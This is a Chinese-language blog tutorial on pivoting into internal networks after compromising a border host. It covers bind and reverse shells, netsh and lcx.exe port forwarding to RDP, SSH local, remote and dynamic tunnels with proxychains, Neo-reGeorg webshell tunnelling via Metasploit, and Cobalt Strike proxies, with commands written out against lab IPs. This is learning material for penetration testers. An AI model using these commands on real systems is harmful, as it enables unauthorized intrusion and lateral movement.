端口转发与代理

不同端连接通信

正向连接

类比正向shell

攻击者主动连接受害机

受害机开启端口监听nc -lvp 4444,攻击机利用nc -vv 受害机ip 4444即可

反向连接

类比反弹shell

提前在攻击机开启端口监听,之后在受害机上使用如/bin/bash等命令,反弹即可

端口转发

在获取一定shell和权限资源之下

Windows下端口转发的方式

netsh端口转发

利用netsh将边界主机某端口流量转发到内网主机的3389端口

netsh interface portproxy add v4tov4 listenaddress=192.168.140.137 listenport=7777 connectaddress=192.168.118.128  connectport=3389

查看端口映射

netsh interface portproxy show all

之后,攻击机通过访问同为nat的边界主机的某端口来实现访问内网的3389,进而实现远程桌面登录

使用rdesktop 连接

rdesktop 192.168.140.137:7777

LCX实现端口转发

利用一个工具lcx.exe来实现本地和远程的端口转发,逻辑上是为了解决内网主机不让访问3389端口的问题

本地端口转发

内网主机不允许访问3389,可以通过lcx.exe来将3389的流量经其他端口流出

lcx.exe -tran 8888 127.0.0.1 3389 #8888转发到的端口 3389被转发端口

这样,边界主机在利用端口映射将本机某端口映射到内网主机的某端口

接着,攻击机访问边界主机的某端口即可

注意:攻击机连接边界主机,连接的是与其同网段同为nat的ip地址

远程端口转发

理解为:

内网主机将自己的3389转发到边界主机的某端口

lcx.exe -slave 192.168.118.129 8888 127.0.0.1 3389

边界主机设置listen模式,端口设置依次为内网监听的端口和攻击机要访问的端口

lcx.exe -listen 8888 7777

攻击机访问

rdesktop 192.168.140.137:7777

linux下的端口转发

当边界主机是linux系统,由此长支持ssh协议,可突破墙来建立tcp连接

SSH本地端口转发

理解为:

攻击机借用linux边界主机的ssh隧道,来打通自身端口和内网主机端口的连接

前提需要知道边界主机的密码信息

ssh -CfNg -L 4444:10.10.10.129:3389 root@192.168.140.133

-C:压缩传输,提高传输速度。
-f:将SSH传输转人后台执行,不占用当前的Shell。
-N:建立静默连接(建立了连接,但是看不到具体会话)。
-g:允许远程主机连接本地用于转发的端口。

攻击机连接,访问自身端口即访问内网主机端口

redesktop 127.0.0.1 某端口

SSH远程端口转发

理解为:

边界主机充当"间谍",通过连接攻击机冒充攻击机,来释放攻击机某端口到内网主机3389的壁垒

ssh -R [远程IP:]远程端口:目标IP:目标端口 用户名@Kali_IP
ssh -R 33891:10.10.10.129:3389 kali@192.168.140.128

攻击机访问

rdesktop 127.0.0.1 某端口

SSH动态端口转发

理解为:

当然,还需要边界主机的密码信息

攻击机在ssh连接边界主机的同时,创建socks代理,在proxychains4.conf配置齐全的情况下,直连内网主机的3389,这样在攻击机的各种行为被视作在边界主机的行为,直连内网主机的3389也理所应当。

在 Kali 上建立 SOCKS 代理隧道

格式:ssh -D [本地IP:]本地端口 用户名@SSH服务器IP
ssh -D 1080 ninggo@192.168.140.133  # 连接 CentOS,创建本地 1080 端口 SOCKS 代理

攻击机代理连接3389

注意:此时因攻击机行为被视为边界主机行为,所以代理连接时,应该为与内网主机同网段的ip

proxychains rdesktop 10.10.10.129:3389

代理技术

正向代理

利用Neo-reGeorg工具

前提先拿下边界主机的webshell权限

image

将其上线到msf

image

开始利用Neo-reGeorg工具搭建代理

理解为:

根据边界主机环境来在攻击机生成对应后缀的文件

python neoreg.py generate -k password

-k后面的密码要与后面 连接 WEB 服务器,在本地建立 socks5 代理时的一致

将生成的对应后缀文件通过msf上传到边界主机

使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理

要修改/etc/proxychains4.conf中

sock5 127.0.0.1 某端口

image

使用代理工具连接

image

反向代理

尝试利用CS中的代理工具插件实现

image

右键代理转发设置某端口来自动搭建代理,后直接用kali连接

image

通过修改代理端口实现外部windows的正常访问
image

正向马连接,有点理想

image

posted @ 2026-01-09 15:46  安清灵风  阅读(3)  评论(0)    收藏  举报